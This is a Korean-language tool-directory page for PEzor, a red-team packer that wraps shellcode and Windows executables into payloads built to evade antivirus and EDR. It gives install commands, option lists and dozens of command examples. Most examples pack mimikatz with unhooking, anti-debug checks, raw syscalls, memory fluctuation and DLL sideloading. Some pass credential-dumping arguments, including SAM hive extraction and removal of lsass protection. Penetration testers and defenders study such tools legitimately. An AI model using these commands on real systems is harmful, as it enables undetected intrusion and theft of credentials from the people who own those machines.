Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
PEzor — 셸코드와 PE 실행 파일을 안티 디버그, 언후킹, 시스템 콜, 메모리 변동 기법을 사용한 회피형 페이로드로 패킹하여 레드팀 작업에 사용합니다. | Kitploit
도구/GitHubGitHub/phra/pezor
Penetration Testing FrameworksExploit FrameworksPayload GenerationIDS/IPS EvasionShellcodeRed Teaming
GitHubphra/pezor

PEzor

셸코드와 PE 실행 파일을 안티 디버그, 언후킹, 시스템 콜, 메모리 변동 기법을 사용한 회피형 페이로드로 패킹하여 레드팀 작업에 사용합니다.

저장소 보기
2.1k32792년 전Kitploit 검토 완료
웹사이트

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

PEzor

블로그 게시물은 여기서 읽으세요:

  • https://iwantmore.pizza/posts/PEzor.html
  • https://iwantmore.pizza/posts/PEzor2.html
  • https://iwantmore.pizza/posts/PEzor3.html
  • https://iwantmore.pizza/posts/PEzor4.html
root@kitploit:~
 ________________
< PEzor!! v3.3.0 >
 ----------------
      \                    / \  //\
       \    |\___/|      /   \//  \\
            /0  0  \__  /    //  | \ \
           /     /  \/_/    //   |  \  \
           @_^_@'/   \/_   //    |   \   \
           //_^_/     \/_ //     |    \    \
        ( //) |        \///      |     \     \
      ( / /) _|_ /   )  //       |      \     _\
    ( // /) '/,_ _ _/  ( ; -.    |    _ _\.-~        .-~~~^-.
  (( / / )) ,-{        _      `-.|.-~-.           .~         `.
 (( // / ))  '/\      /                 ~-. _ .-~      .-~^-.  \
 (( /// ))      `.   {            }                   /      \  \
  (( / ))     .----~-.\        \-'                 .~         \  `. \^-.
             ///.----..>        \             _ -~             `.  ^-`  ^-_
               ///-._ _ _ _ _ _ _}^ - - - - ~                     ~-- ,.-~
                                                                  /.-~
---------------------------------------------------------------------------
  • 설치
  • 사용법

설치

install.sh는 Kali Linux 배포판에서 작동하도록 설계되었습니다.

root@kitploit:~
$ git clone https://github.com/phra/PEzor.git
$ cd PEzor
$ sudo bash install.sh
$ bash PEzor.sh -h

v2.x.x에서 업그레이드 중

PATH 변수는 Donut의 특정 커밋을 사용하도록 업데이트해야 합니다! 업데이트된 install.sh 스크립트를 확인하세요.

사용법

  • PEzor -h
  • PEzor <EXECUTABLE> [donut args...]
  • PEzor <SHELLCODE>

PEzor help

PEzor의 도움말 표시

root@kitploit:~
USAGE
  $ PEzor help

PEzor <EXECUTABLE>

제공된 실행 파일을 새 실행 파일로 패킹합니다

root@kitploit:~
OPTIONS
  -h                        사용법을 표시하고 종료합니다
  -32                       32비트 실행 파일 강제
  -64                       64비트 실행 파일 강제
  -debug                    디버그 빌드 생성
  -unhook                   사용자 영역 후크 제거
  -antidebug                안티-디버그 검사 추가
  -syscalls                 Raw 시스템 콜 사용 [64비트 전용] [Windows 10 전용]
  -sgn                      생성된 셸코드를 sgn으로 인코딩
  -text                     셸코드를 .data 대신 .text 섹션에 저장
  -rx                       셸코드에 RX 메모리 할당
  -self                     동일한 스레드에서 셸코드 실행
  -sdk=VERSION              지정된 .NET Framework 버전 사용 (2, 4, 4.5 (기본값))
  -cleanup                  할당된 페이로드와 로드된 모듈 정리 수행 (BOF 전용)
  -sleep=N                  셸코드를 언패킹하기 전에 N초 동안 대기
  -format=FORMAT            지정된 FORMAT으로 결과 출력 (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
  -fluctuate=PROTECTION     Sleep()을 후킹하여 메모리 영역을 PROTECTION (RW 또는 NA)으로 변동
  -xorkey=KEY               간단한 멀티바이트 XOR로 페이로드 암호화, 실행 시 GetComputerNameExA(ComputerNameDnsFullyQualified)를 사용하여 키 검색
  [donut args...]           패킹할 실행 파일 뒤에 추가 Donut 인수 전달 가능 (예: -z 2)

EXAMPLES
  # 64-bit (self-inject RWX)
  $ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/x64/mimikatz.exe -z 2
  # 64-bit (self-inject RX)
  $ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 mimikatz/x64/mimikatz.exe -z 2
  # 64-bit (raw syscalls)
  $ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 mimikatz/x64/mimikatz.exe -z 2
  # 64-bit (fluctuate to READWRITE when sleeping)
  $ PEzor.sh -fluctuate=RW -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
  # 64-bit (fluctuate to NOACCESS when sleeping)
  $ PEzor.sh -fluctuate=NA -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
  # 64-bit (use environmental keying with GetComputerNameExA)
  $ PEzor.sh -xorkey=MY-FQDN-COMPUTER-NAME -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
  # 64-bit (support EXEs with resources by keeping PE headers in memory)
  $ PEzor.sh -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -k 2 -p '"!+" "!processprotect" "/process:lsass.exe" "/remove" "!-" "exit"'
  # 64-bit (beacon object file)
  $ PEzor.sh -format=bof mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
  # 64-bit (beacon object file w/ cleanup)
  $ PEzor.sh -format=bof -cleanup mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
  # 64-bit (dll)
  $ PEzor.sh -format=dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
  # 64-bit (dll sideload)
  $ PEzor.sh -format=dll -dll-sideload=version.dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
  # 64-bit (reflective dll)
  $ PEzor.sh -format=reflective-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
  # 64-bit (service exe)
  $ PEzor.sh -format=service-exe mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
  # 64-bit (service dll)
  $ PEzor.sh -format=service-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
  # 64-bit (dotnet)
  $ PEzor.sh -format=dotnet -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
  # 64-bit (dotnet-pinvoke)
  $ PEzor.sh -format=dotnet-pinvoke -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
  # 64-bit (dotnet-createsection)
  $ PEzor.sh -format=dotnet-createsection -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
  # 32-bit (self-inject)
  $ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
  # 32-bit (Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
  $ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
  # 32-bit (Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread) and arguments for donut
  $ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2 "-plsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv"

PEzor <SHELLCODE>

제공된 셸코드를 실행 파일로 패킹합니다

root@kitploit:~
USAGE
  $ PEzor <-32|-64> [options...] <SHELLCODE>

OPTIONS
  -h                        사용법을 표시하고 종료합니다
  -32                       32비트 실행 파일 강제
  -64                       64비트 실행 파일 강제
  -debug                    디버그 빌드 생성
  -unhook                   사용자 영역 후크 제거
  -antidebug                안티-디버그 검사 추가
  -shellcode                셸코드 감지 강제
  -syscalls                 Raw 시스템 콜 사용 [64비트 전용] [Windows 10 전용]
  -sgn                      제공된 셸코드를 sgn으로 인코딩
  -text                     셸코드를 .data 대신 .text 섹션에 저장
  -rx                       셸코드에 RX 메모리 할당
  -self                     동일한 스레드에서 셸코드 실행 [RX 셸코드 필요, -sgn과 호환되지 않음]
  -cleanup                  할당된 페이로드와 로드된 모듈 정리 수행 (BOF 전용)
  -sleep=N                  셸코드를 언패킹하기 전에 N초 동안 대기
  -format=FORMAT            지정된 FORMAT으로 결과 출력 (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
  -fluctuate=PROTECTION     Sleep()을 후킹하여 메모리 영역을 PROTECTION (RW 또는 NA)으로 변동
  -xorkey=KEY               간단한 멀티바이트 XOR로 페이로드 암호화, 실행 시 GetComputerNameExA(ComputerNameDnsFullyQualified)를 사용하여 키 검색

EXAMPLES
  # 64-bit (self-inject RWX)
  $ PEzor.sh shellcode.bin
  # 64-bit (self-inject RX)
  $ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 shellcode.bin
  # 64-bit (self-inject)
  $ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
  # 64-bit (raw syscalls)
  $ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 shellcode.bin
  # 64-bit (fluctuate to READWRITE when sleeping)
  $ PEzor.sh -fluctuate=RW shellcode.bin
  # 64-bit (fluctuate to NOACCESS when sleeping)
  $ PEzor.sh -fluctuate=NA shellcode.bin
  # 64-bit (use environmental keying with GetComputerNameExA)
  $ PEzor.sh -xorkey=MY-FQDN-MACHINE-NAME shellcode.bin
  # 64-bit (beacon object file)
  $ PEzor.sh -format=bof shellcode.bin
  # 64-bit (beacon object file w/ cleanup)
  $ PEzor.sh -format=bof -cleanup shellcode.bin
  # 64-bit (dll)
  $ PEzor.sh -format=dll shellcode.bin
  # 64-bit (dll sideload)
  $ PEzor.sh -format=dll -dll-sideload=version.dll shellcode.bin
  # 64-bit (reflective dll)
  $ PEzor.sh -format=reflective-dll shellcode.bin
  # 64-bit (service exe)
  $ PEzor.sh -format=service-exe shellcode.bin
  # 64-bit (service dll)
  $ PEzor.sh -format=service-dll shellcode.bin
  # 64-bit (dotnet)
  $ PEzor.sh -format=dotnet shellcode.bin
  # 64-bit (dotnet-pinvoke)
  $ PEzor.sh -format=dotnet-pinvoke shellcode.bin
  # 64-bit (dotnet-createsection)
  $ PEzor.sh -format=dotnet-createsection shellcode.bin
  # 32-bit (self-inject)
  $ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
  # 32-bit (Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
  $ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 shellcode.bin

코드 보기: PEzor.sh

도구 다운로드